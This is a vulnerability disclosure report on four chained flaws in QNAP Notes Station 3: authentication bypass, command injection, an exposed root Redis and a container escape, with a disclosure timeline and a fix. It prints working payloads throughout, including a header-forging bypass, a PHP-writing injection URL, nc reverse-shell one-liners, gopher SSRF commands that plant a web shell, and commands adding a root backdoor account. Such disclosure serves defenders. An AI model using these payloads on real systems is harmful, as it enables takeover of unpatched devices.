QNAP QSA-24-36 : Notes Station 3 - Multiple vulnerabilities leading to full system compromise - CVE-2024-38643, CVE-2024-38644, CVE-2024-38645, CVE-2024-38646
Timeline (DD/MM/YYYY)
- 17/07/2024 : Bug sent to QNAP security team
- 20/07/2024 : QNAP confirms the report reception and assign CVE
- 31/07/2024 : Notes Station 3.9.7 is available with vulnerabilities fixes
- 23/11/2024 : Security advisory published on the QNAP website
Summary
This reports presents few vulnerabilities impacting the NoteStation application.
The vulnerabilities can be chained to allow an unauthenticated attacker to take control over the QTS system with administrative privileges.
Authentication Bypass - CVE-2024-38643
Summary
NoteStation is vulnerable to an Authentication Bypass, allowing an unauthenticated attacker to impersonate any user on the application. To exploit, the vulnerability, the attacker need two information:
- The server name
- A valid username
Technical details
To access to an authenticated part of the application, a Laravel middleware checks if the user is authenticated. The middleware code is in the file : /var/www/NotesStation3/app/Http/Middleware/Authenticate.php
Three headers will be used as an alternative to the cookie NAS_SID or QTS_SSID
$remote_user = $request->headers->get('X-Auth-Userid');
$remote_connectionid = $request->headers->get('X-Auth-Token');
$mobile = $request->headers->get('mobile');
If the mobile header is defined, the format is checked, and it should be composed of three parts:
- serverName
- username
- sid
if(isset($mobile) && !empty($mobile)) {
$nas_info = explode(';', $mobile);
foreach ($nas_info as $key => $info) {
if(strstr($info, 'serverName')) {
$server_name = explode(':', $info)[1];
}
if(strstr($info, 'username:')) {
$username = explode(':', $info)[1];
}
if(strstr($info, 'sid:')) {
$sid = explode(':', $info)[1];
}
}
if(!isset($server_name) || !isset($username) || !isset($sid) || empty($sid) || empty($username) || empty($server_name)) {
$ret['status'] = 101;
$ret['message'] = 'the operation is not authorized';
return response()->json($ret, 401);
}
// 1. check server name
$check_sever = Config::get('app.server_name');
if($check_sever != $server_name) {
$ret['status'] = 101;
$ret['message'] = 'the operation is not authorized';
return response()->json($ret, 401);
}
The server_name variable is checked and should be the same as the NAS. This value can be recovered by a GET request on cgi-bin/authLogin.cgi
Then X-Auth-Userid and X-Auth-Token values are sent with the username variable to the Qnap_nas->create_userid method.
public function create_userid($username, $connectionid, $sid, $migrate=false, $share_check=false,$createCookie=true)
{
$user_session = new SessionModel;
$user = new UserModel;
$sys_mod = new SystemModel;
$my_mod = new MyModel;
$nasUserInfo = $this->get_nas_user_uid($username);
if($nasUserInfo==FALSE) {
$uid = $this->check_Ldap($username);
$login_id = $username;
$login_server = '2';
if(!$uid && empty($uid)) {
$ADinfo = $this->check_ADserver($username);
$login_server = '3';
if(!$ADinfo['uid'] && empty($ADinfo['uid'])) {
return FALSE;
}
$login_id = $ADinfo['username'];
$uid = $ADinfo['uid'];
}
}else{
$uid = $nasUserInfo['uid'];
$login_id = $nasUserInfo['userName'];
$user->check_duplicate_uid($uid,$login_id);
$login_server = '1';
}
The get_nas_user_uid will only check if the username is in the passwd file. The admin account, even if it’s disabled, is present in this file and can be used as username.
The connectionid and sid are not used to check the user authentication and can be set to an arbitrary value.
Exploitation
An attacker first needs to get the value of the serverName part of the mobile header.
Then, to check if the endpoint requires authentication, a request can be made on the /ns/api/v2/user/loginid
To bypass the authentication, the Mobile header should be crafted.
Remote command execution - CVE-2024-38644
Summary
An authenticated user is able to execute an arbitrary command as the user www-data. The user www-data can elevate his privileges to execute commands as root.
Technical details
The function set_file in the class NoteFile uses a shell command without sanitizing the user input.
To access this part of the code, an url query parameter need to be defined and should end with “.img” to match the if condition.
Before trigger the command injection, the URL will be used in a PHP curl call, thus, the first part needs to be a valid link.
Here is a payload example :
http://127.0.0.1/";echo ‘<?php phpinfo();’>/var/www/NotesStation3/public/phpinfo.php;".img
Privilege Escalation
In the container, the NoteStation Laravel application runs as www-data. It’s possible for an attacker to gain root privileges by abusing cron jobs.
Cron jobs running as root are defined in the /etc/crontabs/root file.
95d162514bcc:/var/www/NotesStation3 $ cat /etc/crontabs/root
# do daily/weekly/monthly maintenance
# min hour day month weekday command
*/15 * * * * run-parts /etc/periodic/15min
0 * * * * run-parts /etc/periodic/hourly
0 2 * * * run-parts /etc/periodic/daily
0 3 * * 6 run-parts /etc/periodic/weekly
0 5 1 * * run-parts /etc/periodic/monthly
* * * * * /usr/bin/php /var/www/NotesStation3/artisan Synchronizer
* * * * * /usr/bin/php /var/www/NotesStation3/artisan SynchronizerRemote
The /var/www/NotesStation3/artisan cli file is used, but this file is writable by the www-data user. Thereby, if the www-data user injection malicious code is in the artisan cli, this code will be run as root.
For example, the following code will give a root reverse shell to the attacker:
#!/usr/bin/env php
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc IP PORT >/tmp/f');
?>
Exposed Redis running as root : CVE-2024-38645
Summary
The Redis server is running as root and does not require any authentication. An attacker with access the local network is able to dump keys. The Redis server data can be dumped to an arbitrary location, which could potentially lead to a command execution.
Technical details
The Redis can be used in a few ways to take control over an account or the NoteStation application.
First, it can be used by an authenticated user to dump all keys and leak an authenticated user SID.
Also, an attacker could drop a web shell by injecting PHP code into a key and dumping the config to a PHP file inside the web root folder.
Finally, as the Redis server is running as root, some files can be modified to get a root reverse shell.
Dumping Redis keys
To dump the configuration, the Redis server has to receive the SAVE command. The config is dumped to the folder and file defined in the configuration. To be able to read this dump, the file should be in the public folder of the NoteStation application.
An attacker can use the endpoint note/{connection_id}/{note_id}/image/{image_id?} with the URL parameter to exploit an SSRF vulnerability, allowing them to communicate with the Redis Server through the Gopher protocol.
By sending three commands, the attacker will be able to download the Redis configuration dump.
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/NotesStation3/public/
gopher://127.0.0.1:6379/_CONFIG%20SET%20dbfilename%20redis-export
gopher://127.0.0.1:6379/_SAVE
With the downloaded dump, the attacker can list the SIDs of connected users and check if the SID belongs to an administrator account.
Drop custom PHP code
This dump can be used to execute arbitrary PHP code.
For example :
gopher://127.0.0.1:6379/_SET%20webshell%20"<%3fphp%20phpinfo();%3f>" # Set PHP content
gopher://127.0.0.1:6379/_CONFIG%20SET%20dbfilename%20redis-info.php # Set filename wit php extension
gopher://127.0.0.1:6379/_SAVE
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/NotesStation3/
gopher://127.0.0.1:6379/_CONFIG%20SET%20dbfilename%20artisan
gopher://127.0.0.1:6379/_SET%20webshell%20"%23!/usr/bin/env+php
\n<%3fphp%20system(base64_decode('bmMgMTAuMC4xMC4xNCAxMzM3IC1lIHNo'));%3f>"
gopher://127.0.0.1:6379/_SAVE
The Redis config dump is in binary format and may break some PHP code.
Application container escape - CVE-2024-38646
Summary
An attacker with shell access to the NoteStation application is able to interact with the underlying NAS and create an administrator account on it.
Technical details
The NAS directory “/etc/config”" is bound with read and write permission inside the container on the directory “/qts/etc/config”.
Once the attacker has a reverse shell as root inside the NoteStation container, he can create a user with administrative privileges by modify these files:
- /qts/etc/config/passwd
- /qts/etc/config/shadow
For example :
echo "notestation_exploit:x:0:0:administrator:/share/homes/admin:/bin/sh" >> /qts/etc/config/passwd
echo "notestation_exploit:$(openssl passwd -1 pwnpwn):19517:0:99999:7:::" >> /qts/etc/config/shadow